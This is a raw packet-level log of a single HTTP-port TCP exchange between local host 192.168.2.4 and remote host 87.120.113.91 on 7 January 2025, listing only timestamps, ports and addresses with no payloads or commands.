Jan 7, 2025 13:25:33.740400076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740432024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740505934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740520000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740533113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740547895 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.740569115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.740633965 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740648031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740660906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740667105 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.740674019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740691900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.740752935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740792990 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.740818024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740886927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740899086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740911007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.740931988 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.740958929 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.741014004 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741029024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741041899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741055965 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741060972 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.741101980 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.741245031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741266966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741282940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.741308928 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806057930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806076050 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806098938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806113958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806128025 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806139946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806153059 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806209087 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806220055 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806241035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806245089 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806253910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806266069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806283951 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806297064 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806361914 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806375027 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806395054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806412935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806420088 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806427002 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806431055 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806440115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806452990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806466103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806466103 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806478977 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.806488991 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806519985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.806997061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807013988 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807025909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807037115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807049036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807051897 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.807060957 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807073116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807080984 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.807086945 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807099104 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.807121992 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.807269096 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807281971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807296991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807308912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.807327032 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.807342052 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818001986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818020105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818032980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818052053 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818064928 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818073034 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818084002 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818100929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818111897 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818120003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818133116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818135023 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818151951 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818186998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818197966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818209887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818218946 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818223953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818244934 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818373919 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818397999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818428993 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818434954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818447113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818459034 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818470955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818504095 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818540096 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818552017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818571091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818581104 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818583012 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818594933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818603992 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818608046 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818622112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818644047 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818670988 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.818941116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818960905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818974018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.818999052 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819019079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819030046 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819042921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819062948 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819077969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819080114 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819089890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819103956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819116116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819128990 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819144964 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819447041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819461107 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819473982 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819499969 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819508076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819519997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819531918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819555998 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819557905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819581985 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819583893 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819590092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819610119 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819638968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819652081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819663048 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819674969 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819674969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819689035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.819700956 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.819720984 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.820166111 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.830780983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830799103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830820084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830833912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830847979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830853939 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.830862045 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830873966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830902100 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.830948114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830960989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830971956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830981970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.830986977 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831001043 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831013918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831026077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831026077 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831048012 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831057072 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831060886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831082106 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831098080 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831171989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831208944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831221104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831258059 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831274986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831288099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831300020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831321955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831322908 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831342936 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831558943 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831572056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831584930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831607103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831612110 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831619024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831630945 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831638098 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831643105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831655979 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831657887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831681967 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831839085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831877947 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831899881 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831914902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831940889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831943035 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.831954956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831965923 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.831993103 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.896739006 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896758080 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896774054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896796942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896804094 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.896827936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896832943 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.896841049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896852970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896883965 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.896903038 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.896931887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896945000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896956921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896970034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.896975040 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897013903 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897022009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897034883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897048950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897083998 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897248030 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897260904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897283077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897284985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897319078 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897339106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897351980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897362947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897387981 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897399902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897412062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897424936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897452116 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897476912 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897485018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897496939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897509098 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897521019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897531033 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.897532940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.897557020 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.908685923 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.908714056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.908740044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.908768892 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.908803940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.908807993 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.908818007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.908843040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.908864975 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.908880949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909018993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909025908 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909027100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909033060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909060001 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909101009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909113884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909126997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909140110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909149885 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909174919 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909221888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909235001 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909248114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909256935 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909262896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909282923 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909288883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909327030 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909332037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909354925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909360886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909390926 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909567118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909579992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909600973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909609079 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909611940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909626007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909640074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909647942 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909652948 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909678936 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909692049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909703970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909708023 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909749031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.909914970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.909995079 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910012960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910031080 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910032034 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910044909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910060883 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910099030 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910113096 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910125017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910136938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910155058 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910155058 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910180092 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910196066 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910382986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910427094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910442114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910465956 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910492897 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910506010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910518885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910535097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.910538912 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.910557985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.921220064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921256065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921276093 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.921277046 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921284914 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921291113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921324015 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.921336889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921350002 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.921406984 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921420097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921432018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921449900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.921469927 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.921606064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921624899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921638966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921650887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.921658993 CET	49737	80	192.168.2.4	87.120.113.91
